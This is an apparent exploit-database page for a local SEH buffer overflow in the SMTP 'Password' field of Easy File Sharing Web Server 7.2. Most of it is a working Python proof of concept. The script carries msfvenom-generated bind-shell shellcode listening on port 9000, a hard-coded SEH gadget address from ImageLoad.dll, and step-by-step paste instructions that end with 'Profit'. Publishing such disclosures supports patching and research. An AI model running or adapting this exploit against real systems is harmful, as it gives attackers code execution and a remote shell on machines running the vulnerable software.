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Easy File Sharing Web Server 7.2 Local Buffer Overflow

Easy File Sharing Web Server 7.2 Local Buffer Overflow
Posted Mar 19, 2020
Authored by Felipe Winsnes

Easy File Sharing Web Server version 7.2 SMTP Password local SEH buffer overflow exploit.

tags | exploit, web, overflow, local
MD5 | b972fc4a0fe1a18c9778eddf12a1231b

Easy File Sharing Web Server 7.2 Local Buffer Overflow

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# Exploit Title: Easy File Sharing Web Server 7.2 - SMTP 'Password' Local Buffer Overflow (SEH)
# Date: 03/16/2020
# Author: Felipe Winsnes
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/download.php
# Version: 7.2
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script "poc.py", it will create a new file "poc.txt"
# 2.- Copy the content of the new file 'poc.txt' to clipboard
# 3.- Open fsws.exe
# 4.- Go to 'Options'
# 5.- Click upon 'SMTP Setup'
# 6.- Paste clipboard on bottom-right 'Password' parameter
# 7.- Profit

# Blog where the vulnerability is explained: https://whitecr0wz.github.io/posts/Locally-Exploiting-SMTP-section-in-Easy-File-Sharing-Web-Server/

import struct

# msfvenom -p windows/shell_bind_tcp LPORT=9000 -f py -e x86/alpha_mixed EXITFUNC=thread
# Payload size: 718 bytes

buf = b""
buf += b"\x89\xe1\xdd\xc5\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x49\x78\x6e"
buf += b"\x62\x67\x70\x57\x70\x63\x30\x31\x70\x6f\x79\x78\x65"
buf += b"\x56\x51\x6b\x70\x72\x44\x6e\x6b\x70\x50\x70\x30\x6c"
buf += b"\x4b\x43\x62\x44\x4c\x4e\x6b\x46\x32\x54\x54\x4c\x4b"
buf += b"\x30\x72\x55\x78\x36\x6f\x68\x37\x30\x4a\x67\x56\x36"
buf += b"\x51\x6b\x4f\x4c\x6c\x65\x6c\x50\x61\x63\x4c\x54\x42"
buf += b"\x74\x6c\x67\x50\x59\x51\x5a\x6f\x36\x6d\x56\x61\x68"
buf += b"\x47\x4a\x42\x6a\x52\x70\x52\x63\x67\x6e\x6b\x73\x62"
buf += b"\x46\x70\x4e\x6b\x63\x7a\x77\x4c\x6c\x4b\x72\x6c\x36"
buf += b"\x71\x30\x78\x48\x63\x53\x78\x37\x71\x5a\x71\x43\x61"
buf += b"\x4c\x4b\x72\x79\x37\x50\x66\x61\x4a\x73\x4c\x4b\x52"
buf += b"\x69\x45\x48\x58\x63\x54\x7a\x30\x49\x6c\x4b\x64\x74"
buf += b"\x6e\x6b\x77\x71\x78\x56\x36\x51\x49\x6f\x6c\x6c\x6f"
buf += b"\x31\x68\x4f\x36\x6d\x73\x31\x78\x47\x45\x68\x69\x70"
buf += b"\x42\x55\x6c\x36\x35\x53\x51\x6d\x5a\x58\x75\x6b\x63"
buf += b"\x4d\x36\x44\x31\x65\x58\x64\x63\x68\x4e\x6b\x32\x78"
buf += b"\x47\x54\x46\x61\x4e\x33\x70\x66\x4e\x6b\x66\x6c\x30"
buf += b"\x4b\x6e\x6b\x51\x48\x47\x6c\x75\x51\x6e\x33\x6e\x6b"
buf += b"\x56\x64\x4c\x4b\x47\x71\x4e\x30\x6e\x69\x63\x74\x57"
buf += b"\x54\x57\x54\x31\x4b\x53\x6b\x61\x71\x32\x79\x33\x6a"
buf += b"\x46\x31\x79\x6f\x4d\x30\x73\x6f\x31\x4f\x43\x6a\x6c"
buf += b"\x4b\x37\x62\x48\x6b\x6e\x6d\x71\x4d\x51\x78\x74\x73"
buf += b"\x76\x52\x43\x30\x37\x70\x73\x58\x54\x37\x64\x33\x30"
buf += b"\x32\x61\x4f\x70\x54\x33\x58\x30\x4c\x61\x67\x31\x36"
buf += b"\x66\x67\x69\x6f\x6e\x35\x78\x38\x4a\x30\x46\x61\x33"
buf += b"\x30\x77\x70\x74\x69\x6a\x64\x31\x44\x50\x50\x72\x48"
buf += b"\x66\x49\x6d\x50\x70\x6b\x75\x50\x4b\x4f\x6e\x35\x43"
buf += b"\x5a\x56\x68\x61\x49\x70\x50\x48\x62\x49\x6d\x61\x50"
buf += b"\x62\x70\x33\x70\x56\x30\x70\x68\x39\x7a\x44\x4f\x39"
buf += b"\x4f\x79\x70\x69\x6f\x4e\x35\x5a\x37\x43\x58\x64\x42"
buf += b"\x63\x30\x57\x53\x34\x68\x6c\x49\x5a\x46\x73\x5a\x46"
buf += b"\x70\x32\x76\x62\x77\x35\x38\x5a\x62\x49\x4b\x74\x77"
buf += b"\x50\x67\x4b\x4f\x48\x55\x66\x37\x31\x78\x4f\x47\x68"
buf += b"\x69\x67\x48\x39\x6f\x49\x6f\x69\x45\x53\x67\x62\x48"
buf += b"\x71\x64\x58\x6c\x65\x6b\x78\x61\x39\x6f\x6a\x75\x36"
buf += b"\x37\x6d\x47\x61\x78\x70\x75\x62\x4e\x70\x4d\x45\x31"
buf += b"\x69\x6f\x4e\x35\x71\x78\x43\x53\x70\x6d\x65\x34\x77"
buf += b"\x70\x6c\x49\x7a\x43\x62\x77\x66\x37\x70\x57\x34\x71"
buf += b"\x49\x66\x42\x4a\x44\x52\x53\x69\x50\x56\x58\x62\x4b"
buf += b"\x4d\x72\x46\x39\x57\x53\x74\x75\x74\x77\x4c\x65\x51"
buf += b"\x66\x61\x4e\x6d\x31\x54\x45\x74\x66\x70\x39\x56\x47"
buf += b"\x70\x70\x44\x71\x44\x42\x70\x32\x76\x72\x76\x56\x36"
buf += b"\x61\x56\x70\x56\x42\x6e\x32\x76\x73\x66\x32\x73\x73"
buf += b"\x66\x72\x48\x63\x49\x38\x4c\x47\x4f\x6d\x56\x59\x6f"
buf += b"\x39\x45\x4f\x79\x39\x70\x52\x6e\x71\x46\x51\x56\x49"
buf += b"\x6f\x50\x30\x45\x38\x57\x78\x6c\x47\x47\x6d\x51\x70"
buf += b"\x6b\x4f\x69\x45\x4f\x4b\x79\x70\x57\x6d\x66\x4a\x76"
buf += b"\x6a\x70\x68\x4d\x76\x7a\x35\x4f\x4d\x4f\x6d\x6b\x4f"
buf += b"\x6a\x75\x35\x6c\x64\x46\x33\x4c\x37\x7a\x6f\x70\x4b"
buf += b"\x4b\x59\x70\x50\x75\x43\x35\x4f\x4b\x63\x77\x67\x63"
buf += b"\x32\x52\x62\x4f\x33\x5a\x73\x30\x56\x33\x39\x6f\x7a"
buf += b"\x75\x41\x41"

seh = struct.pack("<I", 0x1002324C) # 0x1002324c : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)
nseh = struct.pack("<I", 0x06710870)

buffer = "A" * 512 + nseh + seh + "A" * 20 + buf + "\xff" * 200
f = open ("poc.txt", "w")
f.write(buffer)
f.close()
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